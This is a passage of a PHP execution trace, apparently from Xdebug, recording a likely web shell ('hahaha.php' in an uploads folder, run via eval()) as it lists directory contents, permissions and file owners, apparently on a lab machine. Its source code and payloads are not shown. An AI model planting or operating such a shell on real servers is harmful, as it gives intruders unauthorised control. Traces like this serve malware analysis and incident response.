5	137	0	0.019320	1523776	is_readable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	320	1	'/var/www/html/uploads/data'
5	137	1	0.019337	1523816
5	137	R			TRUE
5	138	0	0.019350	1523776	is_writable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	322	1	'/var/www/html/uploads/data'
5	138	1	0.019370	1523816
5	138	R			TRUE
5	139	0	0.019384	1523776	fileperms	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	325	1	'/var/www/html/uploads/data'
5	139	1	0.019398	1523816
5	139	R			16895
5	140	0	0.019411	1523776	perms	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	325	1	16895
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	304	$i = 'd'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	308	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	309	$i .= 'w'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	310	$i .= 'x'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	311	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	312	$i .= 'w'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	313	$i .= 'x'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	314	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	315	$i .= 'w'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	316	$i .= 'x'
5	140	1	0.019527	1523816
5	140	R			'drwxrwxrwx'
4	136	1	0.019542	1523856
4	136	R			'<font color=#FFDB5F><b>drwxrwxrwx</b></font>'
4	141	0	0.019560	1523856	filesize	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	911	1	'/var/www/html/uploads/data'
4	141	1	0.019574	1523896
4	141	R			4096
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	913	$tmp = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']
4	142	0	0.019611	1523480	is_file	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	915	1	'/var/www/html/uploads/data'
4	142	1	0.019625	1523520
4	142	R			FALSE
4	143	0	0.019639	1523480	is_link	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	917	1	'/var/www/html/uploads/data'
4	143	1	0.019654	1523520
4	143	R			FALSE
4	144	0	0.019667	1523480	is_dir	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	919	1	'/var/www/html/uploads/data'
4	144	1	0.019681	1523520
4	144	R			TRUE
4	145	0	0.019694	1523424	array_merge	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	920	2	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root']	['type' => 'dir']
4	145	1	0.019719	1523864
4	145	R			['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	920	$dirs[] = ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	904	$i++
4	146	0	0.019778	1523800	fileowner	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	1	'hahaha.php'
4	146	1	0.019794	1523824
4	146	R			1000
4	147	0	0.019807	1523784	posix_getpwuid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	1	1000
4	147	1	0.019839	1524600
4	147	R			['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	$ow = ['name' => 'osboxes', 'passwd' => 'x', 'uid' => 1000, 'gid' => 1000, 'gecos' => 'osboxes.org,,,', 'dir' => '/home/osboxes', 'shell' => '/bin/bash']
4	148	0	0.019882	1523832	filegroup	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	1	'hahaha.php'
4	148	1	0.019897	1523872
4	148	R			1000
4	149	0	0.019910	1523832	posix_getgrgid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	1	1000
4	149	1	0.019942	1524488
4	149	R			['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	$gr = ['name' => 'osboxes', 'passwd' => 'x', 'members' => [], 'gid' => 1000]
4	150	0	0.019978	1524368	filemtime	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	909	1	'/var/www/html/uploads/hahaha.php'
4	150	1	0.019995	1524432
4	150	R			1676246635
4	151	0	0.020008	1524328	date	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	909	2	'Y-m-d H:i:s'	1676246635
4	151	1	0.020044	1524656
4	151	R			'2023-02-12 19:03:55'
4	152	0	0.020059	1524648	viewPermsColor	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	910	1	'/var/www/html/uploads/hahaha.php'
5	153	0	0.020073	1524648	is_readable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	320	1	'/var/www/html/uploads/hahaha.php'
5	153	1	0.020090	1524688
5	153	R			TRUE
5	154	0	0.020103	1524648	is_writable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	322	1	'/var/www/html/uploads/hahaha.php'
5	154	1	0.020119	1524688
5	154	R			FALSE
5	155	0	0.020133	1524648	fileperms	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	323	1	'/var/www/html/uploads/hahaha.php'
5	155	1	0.020147	1524688
5	155	R			33204
5	156	0	0.020160	1524648	perms	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	323	1	33204
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	302	$i = '-'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	308	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	309	$i .= 'w'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	310	$i .= '-'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	311	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	312	$i .= 'w'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	313	$i .= '-'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	314	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	315	$i .= '-'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	316	$i .= '-'
5	156	1	0.020276	1524688
5	156	R			'-rw-rw-r--'
4	152	1	0.020290	1524728
4	152	R			'<font color=white><b>-rw-rw-r--</b></font>'
4	157	0	0.020307	1524728	filesize	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	911	1	'/var/www/html/uploads/hahaha.php'
4	157	1	0.020321	1524768
4	157	R			71665
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	913	$tmp = ['name' => 'hahaha.php', 'path' => '/var/www/html/uploads/hahaha.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71665, 'owner' => 'osboxes', 'group' => 'osboxes']
4	158	0	0.020358	1524352	is_file	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	915	1	'/var/www/html/uploads/hahaha.php'
4	158	1	0.020372	1524392
4	158	R			TRUE
4	159	0	0.020385	1524288	array_merge	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	916	2	['name' => 'hahaha.php', 'path' => '/var/www/html/uploads/hahaha.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71665, 'owner' => 'osboxes', 'group' => 'osboxes']	['type' => 'file']
4	159	1	0.020409	1524728
4	159	R			['name' => 'hahaha.php', 'path' => '/var/www/html/uploads/hahaha.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71665, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	916	$files[] = ['name' => 'hahaha.php', 'path' => '/var/www/html/uploads/hahaha.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71665, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	904	$i++
4	160	0	0.020469	1524664	fileowner	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	1	'prepend.php'
4	160	1	0.020485	1524680
4	160	R			0
4	161	0	0.020497	1524640	posix_getpwuid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	1	0
4	161	1	0.020521	1525440
4	161	R			['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	905	$ow = ['name' => 'root', 'passwd' => 'x', 'uid' => 0, 'gid' => 0, 'gecos' => 'root', 'dir' => '/root', 'shell' => '/bin/bash']
4	162	0	0.020563	1524656	filegroup	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	1	'prepend.php'
4	162	1	0.020578	1524696
4	162	R			0
4	163	0	0.020590	1524656	posix_getgrgid	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	1	0
4	163	1	0.020612	1525312
4	163	R			['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	906	$gr = ['name' => 'root', 'passwd' => 'x', 'members' => [], 'gid' => 0]
4	164	0	0.020659	1525192	filemtime	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	909	1	'/var/www/html/uploads/prepend.php'
4	164	1	0.020676	1525256
4	164	R			1676246635
4	165	0	0.020690	1525152	date	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	909	2	'Y-m-d H:i:s'	1676246635
4	165	1	0.020727	1525480
4	165	R			'2023-02-12 19:03:55'
4	166	0	0.020742	1525472	viewPermsColor	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	910	1	'/var/www/html/uploads/prepend.php'
5	167	0	0.020757	1525472	is_readable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	320	1	'/var/www/html/uploads/prepend.php'
5	167	1	0.020774	1525512
5	167	R			TRUE
5	168	0	0.020787	1525472	is_writable	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	322	1	'/var/www/html/uploads/prepend.php'
5	168	1	0.020803	1525512
5	168	R			FALSE
5	169	0	0.020817	1525472	fileperms	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	323	1	'/var/www/html/uploads/prepend.php'
5	169	1	0.020831	1525512
5	169	R			33261
5	170	0	0.020844	1525472	perms	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	323	1	33261
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	302	$i = '-'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	308	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	309	$i .= 'w'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	310	$i .= 'x'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	311	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	312	$i .= '-'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	313	$i .= 'x'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	314	$i .= 'r'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	315	$i .= '-'
5		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	316	$i .= 'x'
5	170	1	0.020977	1525512
5	170	R			'-rwxr-xr-x'
4	166	1	0.020991	1525552
4	166	R			'<font color=white><b>-rwxr-xr-x</b></font>'
4	171	0	0.021008	1525552	filesize	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	911	1	'/var/www/html/uploads/prepend.php'
4	171	1	0.021023	1525592
4	171	R			57
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	913	$tmp = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']
4	172	0	0.021060	1525176	is_file	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	915	1	'/var/www/html/uploads/prepend.php'
4	172	1	0.021074	1525216
4	172	R			TRUE
4	173	0	0.021087	1525112	array_merge	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	916	2	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root']	['type' => 'file']
4	173	1	0.021111	1525552
4	173	R			['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	916	$files[] = ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	904	$i++
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	922	GLOBALS['sort'] = [0 => 'name', 1 => 1]
4	174	0	0.021186	1525512	usort	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	929	2	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'hahaha.php', 'path' => '/var/www/html/uploads/hahaha.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71665, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]	'cmp'
5	175	0	0.021222	1525960	cmp	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	929	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']	['name' => 'hahaha.php', 'path' => '/var/www/html/uploads/hahaha.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71665, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
6	176	0	0.021251	1525960	strtolower	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	925	1	'.htaccess'
6	176	1	0.021264	1525992
6	176	R			'.htaccess'
6	177	0	0.021279	1525960	strtolower	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	925	1	'hahaha.php'
6	177	1	0.021292	1525992
6	177	R			'hahaha.php'
6	178	0	0.021306	1525960	strcmp	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	925	2	'.htaccess'	'hahaha.php'
6	178	1	0.021320	1526024
6	178	R			-1
5	175	1	0.021334	1525960
5	175	R			-1
5	179	0	0.021347	1525960	cmp	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	929	2	['name' => 'hahaha.php', 'path' => '/var/www/html/uploads/hahaha.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71665, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
6	180	0	0.021379	1525960	strtolower	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	925	1	'hahaha.php'
6	180	1	0.021393	1525992
6	180	R			'hahaha.php'
6	181	0	0.021407	1525960	strtolower	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	925	1	'prepend.php'
6	181	1	0.021420	1525992
6	181	R			'prepend.php'
6	182	0	0.021434	1525960	strcmp	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	925	2	'hahaha.php'	'prepend.php'
6	182	1	0.021448	1526024
6	182	R			-1
5	179	1	0.021461	1525960
5	179	R			-1
4	174	1	0.021475	1525584
4	174	R			TRUE
4	183	0	0.021487	1525536	usort	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	930	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	'cmp'
5	184	0	0.021516	1525984	cmp	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	930	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
6	185	0	0.021543	1525984	strtolower	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	925	1	'..'
6	185	1	0.021557	1526016
6	185	R			'..'
6	186	0	0.021570	1525984	strtolower	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	925	1	'data'
6	186	1	0.021583	1526016
6	186	R			'data'
6	187	0	0.021596	1525984	strcmp	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	925	2	'..'	'data'
6	187	1	0.021609	1526048
6	187	R			-3552051
5	184	1	0.021623	1525984
5	184	R			-3552051
4	183	1	0.021637	1525608
4	183	R			TRUE
4	188	0	0.021649	1525536	array_merge	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	931	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'hahaha.php', 'path' => '/var/www/html/uploads/hahaha.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71665, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
4	188	1	0.021695	1525976
4	188	R			[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'hahaha.php', 'path' => '/var/www/html/uploads/hahaha.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71665, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	931	$files = [0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=#FFDB5F><b>drwxrwxrwx</b></font>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-r--r--</b></font>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'hahaha.php', 'path' => '/var/www/html/uploads/hahaha.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rw-rw-r--</b></font>', 'size' => 71665, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-12 19:03:55', 'perms' => '<font color=white><b>-rwxr-xr-x</b></font>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	932	$l = 0
4	189	0	0.021797	1525616	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'..'
4	189	1	0.021811	1525680
4	189	R			'..'
4	190	0	0.021826	1525744	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'..'
4	190	1	0.021840	1525936
4	190	R			'..'
4	191	0	0.021855	1525856	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'..'
4	191	1	0.021869	1525920
4	191	R			'..'
4	192	0	0.021882	1525984	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'..'
4	192	1	0.021895	1526048
4	192	R			'..'
4	193	0	0.021908	1526176	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'..'
4	193	1	0.021921	1526240
4	193	R			'..'
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	936	$l = 1
4	194	0	0.021946	1525632	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'data'
4	194	1	0.021959	1525696
4	194	R			'data'
4	195	0	0.021973	1525744	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'data'
4	195	1	0.021987	1525936
4	195	R			'data'
4	196	0	0.022001	1525856	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'data'
4	196	1	0.022019	1525920
4	196	R			'data'
4	197	0	0.022032	1525984	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'data'
4	197	1	0.022045	1526048
4	197	R			'data'
4	198	0	0.022058	1526176	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'data'
4	198	1	0.022071	1526240
4	198	R			'data'
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	936	$l = 0
4	199	0	0.022250	1525616	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'.htaccess'
4	199	1	0.022264	1525688
4	199	R			'.htaccess'
4	200	0	0.022278	1525664	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'.htaccess'
4	200	1	0.022292	1525736
4	200	R			'.htaccess'
4	201	0	0.022306	1525744	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'.htaccess'
4	201	1	0.022320	1525936
4	201	R			'.htaccess'
4	202	0	0.022335	1525728	viewSize	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	64
4	202	1	0.022350	1525760
4	202	R			'64 B'
4	203	0	0.022364	1525856	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'.htaccess'
4	203	1	0.022378	1525928
4	203	R			'.htaccess'
4	204	0	0.022392	1525984	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'.htaccess'
4	204	1	0.022405	1526056
4	204	R			'.htaccess'
4	205	0	0.022419	1526176	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'.htaccess'
4	205	1	0.022432	1526248
4	205	R			'.htaccess'
4	206	0	0.022445	1526176	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'.htaccess'
4	206	1	0.022458	1526248
4	206	R			'.htaccess'
4	207	0	0.022471	1526400	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'.htaccess'
4	207	1	0.022484	1526472
4	207	R			'.htaccess'
4	208	0	0.022497	1526496	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'.htaccess'
4	208	1	0.022510	1526568
4	208	R			'.htaccess'
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	936	$l = 1
4	209	0	0.022535	1525632	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'hahaha.php'
4	209	1	0.022549	1525704
4	209	R			'hahaha.php'
4	210	0	0.022563	1525696	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'hahaha.php'
4	210	1	0.022576	1525768
4	210	R			'hahaha.php'
4	211	0	0.022590	1525776	htmlspecialchars	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'hahaha.php'
4	211	1	0.022604	1525968
4	211	R			'hahaha.php'
4	212	0	0.022618	1525760	viewSize	1		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	71665
5	213	0	0.022632	1525760	sprintf	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	295	2	'%1.2f'	69.9853515625
5	213	1	0.022648	1526144
5	213	R			'69.99'
4	212	1	0.022661	1525800
4	212	R			'69.99 KB'
4	214	0	0.022675	1525856	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'hahaha.php'
4	214	1	0.022689	1525928
4	214	R			'hahaha.php'
4	215	0	0.022703	1526048	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'hahaha.php'
4	215	1	0.022716	1526120
4	215	R			'hahaha.php'
4	216	0	0.022730	1526176	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'hahaha.php'
4	216	1	0.022743	1526248
4	216	R			'hahaha.php'
4	217	0	0.022756	1526176	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'hahaha.php'
4	217	1	0.022769	1526248
4	217	R			'hahaha.php'
4	218	0	0.022782	1526400	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'hahaha.php'
4	218	1	0.022795	1526472
4	218	R			'hahaha.php'
4	219	0	0.022808	1526560	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	935	1	'hahaha.php'
4	219	1	0.022820	1526632
4	219	R			'hahaha.php'
3		A						/var/www/html/uploads/hahaha.php(1) : eval()'d code	936	$l = 0
4	220	0	0.022845	1525616	urlencode	0		/var/www/html/uploads/hahaha.php(1) : eval()'d code	934	1	'prepend.php'
